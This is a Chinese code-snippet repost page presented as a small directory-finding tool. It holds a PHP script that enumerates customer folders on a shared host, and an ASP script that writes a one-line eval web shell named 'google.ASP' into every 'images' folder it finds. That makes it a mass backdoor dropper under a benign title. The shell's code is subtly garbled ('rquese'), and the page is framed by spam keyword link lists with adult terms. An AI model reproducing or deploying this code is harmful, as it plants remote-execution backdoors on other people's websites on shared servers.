中文字幕日韩一区二区_国产一区二区av_国产毛片av_久久久久国产一区_色婷婷电影_国产一区二区精品

php一個(gè)找二層目錄的小東東

php
復(fù)制代碼 代碼如下:
<?php
set_time_limit(0);
$path = 'D:/Hosting';
$somefile = $_GET['key'];
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt';
if (!isset($_SERVER['php_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
if(is_dir($path) && is_readable($path))
{
$path2 = '';
$handle = opendir($path);
while(false !== ($filename = readdir($handle)))
{
if($filename{0} != $_GET['dir'])
{
continue;
}
/*
if($filename{1} != $_GET['two'])
{
continue;
}
*/
//$path2 = $path.'/'.$filename.'/html';
$path2 = $path.'/'.$filename;
if(is_dir($path2) && is_readable($path2))
{
@$handle2 = opendir($path2);
while(false !== ($filename2 = readdir($handle2)))
{
if($filename2 == $somefile)
{
//echo'[+]Found !'.$filename2."/n";
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."/n",FILE_APPEND);
}
}
@closedir($handle2);
}
}
file_put_contents($logfile,'[*]LAST '.$path2."/n",FILE_APPEND);
closedir($handle);
}
}

ASP
復(fù)制代碼 代碼如下:
<%
Server.ScriptTimeout=500000000
key = Trim(Request.QueryString("key"))
msg=" <% eval(rquese(Chr(35)))%" &">"
Set FSO=Server.CreateObject("Scripting.FileSystemObject")
Set ServerFolder=FSO.GetFolder("C:/intel")
Set ServerFolderList=ServerFolder.subfolders
For Each ServerFileEvery IN ServerFolderList
' Response.write ServerFileEvery&"</br>"
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then
Set sServerFolder=FSO.GetFolder(ServerFileEvery)
Set sServerFolderList=sServerFolder.subfolders
For Each sServerFileEvery IN sServerFolderList
If LCase(sServerFileEvery.name) = "images" Then
StreamSaveToFile sServerFileEvery & "/google.ASP", msg, "UTF-8"
End If
Next
End If
Next
Function StreamSaveToFile(sPath, sContent, sCharSet)
Dim oStream
If(InStr(sPath, ":") <= 0)Then
sPath = Replace(sPath, ",", ",")
sPath = Server.MapPath(sPath)
sPath = Replace(sPath, ",", ",")
End If
Set oStream = Server.CreateObject("Adodb.Stream")
With oStream
.Type = 2
.Mode = 3
.Open
.Charset = sCharSet
.WriteText sContent
.SaveToFile sPath, 2
.Close
End With
Set oStream = Nothing
End Function
%>

php技術(shù)php一個(gè)找二層目錄的小東東,轉(zhuǎn)載需保留來(lái)源!

鄭重聲明:本文版權(quán)歸原作者所有,轉(zhuǎn)載文章僅為傳播更多信息之目的,如作者信息標(biāo)記有誤,請(qǐng)第一時(shí)間聯(lián)系我們修改或刪除,多謝。

主站蜘蛛池模板: 成人在线视频免费观看 | 成人乱人乱一区二区三区软件 | 欧美大片一区二区 | 国产性生活一级片 | 一区二区日本 | 亚洲精品中文在线观看 | 国产99视频精品免视看9 | 玖玖免费 | 午夜激情免费视频 | 欧产日产国产精品v | 亚洲综合色丁香婷婷六月图片 | 99国产在线 | 国产欧美日韩精品在线观看 | 亚洲精品18 | 狠狠色综合网站久久久久久久 | 一区二区三区免费 | 本道综合精品 | 成人免费视频网站在线看 | 最新国产精品精品视频 | 精品一区二区在线观看 | 狠狠色香婷婷久久亚洲精品 | 久久高清免费视频 | 蜜桃av鲁一鲁一鲁一鲁 | www久久国产 | 国产成人99久久亚洲综合精品 | 国产精品成人一区二区三区 | www.五月天婷婷.com | 日韩中文字幕在线视频 | 欧美精品网站 | h视频免费观看 | 亚洲一区二区久久久 | 热久久999 | 99热国产精品 | 久久99久久99久久 | 国产亚洲一区二区精品 | 午夜视频一区二区三区 | 美女二区 | 日本中文字幕视频 | 人人看人人干 | 亚洲午夜在线 | 国产免费一区二区 |